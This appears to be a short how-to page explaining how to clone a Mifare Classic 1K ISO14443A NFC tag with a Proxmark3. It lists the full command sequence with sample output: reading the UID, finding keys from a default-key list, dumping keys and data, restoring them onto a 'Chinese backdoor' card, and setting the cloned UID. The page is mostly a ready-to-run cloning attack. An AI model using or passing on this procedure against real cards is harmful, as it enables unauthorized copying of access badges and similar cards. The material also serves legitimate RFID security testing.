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Created: 2021-09-02 | Last update: 2021-09-12

Mifare Classic 1K ISO14443A

How to clone Mifare Classic 1K ISO14443A NFC Tag

proxmark3> hf search

Which results in a response along the lines of:

 #db# DownloadFPGA(len: 42096)
 UID : de 0f 3d cd
ATQA : 00 04  
 SAK : 08 [2]
proprietary non iso14443-4 card found, RATS not supported
No chinese magic backdoor command detected
Prng detection: HARDENED (hardnested)
Valid ISO14443A Tag Found - Quiting Search

As we can see the output ISO14443A Tag Found it's Mifare 1k card.

This also shows us the UID de0f3dcd of the card, which we’ll need later.

From there we can find keys in use by checking against a list of default keys (hopefully one of these has been used)

proxmark3> hf mf chk * ?

This should show us the key we require looking something like

No key specified, trying default keys  
chk default key[ 0] ffffffffffff  
chk default key[ 1] 000000000000  
chk default key[ 2] a0a1a2a3a4a5  
chk default key[ 3] b0b1b2b3b4b5  
chk default key[ 4] aabbccddeeff  
chk default key[ 5] 4d3a99c351dd  
chk default key[ 6] 1a982c7e459a  
chk default key[ 7] d3f7d3f7d3f7  
chk default key[ 8] 714c5c886e97  
chk default key[ 9] 587ee5f9350f  
chk default key[10] a0478cc39091  
chk default key[11] 533cb6c723f6  
chk default key[12] 8fd0a4f256e9  
--sector: 0, block:  3, key type:A, key count:13
Found valid key:[ffffffffffff]  
...omitted for brevity...
--sector:15, block: 63, key type:B, key count:13
Found valid key:[ffffffffffff]

This shows a key of ffffffffffff, which we can plug into the next command, which dumps keys to file dumpkeys.bin.

proxmark3> hf mf nested 1 0 A ffffffffffff d

Now to dump the contents of the card.
This dumps data from the card into dumpdata.bin

proxmark3> hf mf dump

At this point we’ve got everything we need from the card, we can take it off the reader.

To copy that data onto a new card, place the (Chinese backdoor) card on the Proxmark.

This restores the dumped data onto the new card. Now we just need to give the card the UID we got from the original hf search command

proxmark3> hf mf restore 1

Copy the UID of the original card de0f3dcd

proxmark3> hf mf csetuid de0f3dcd

We’re done.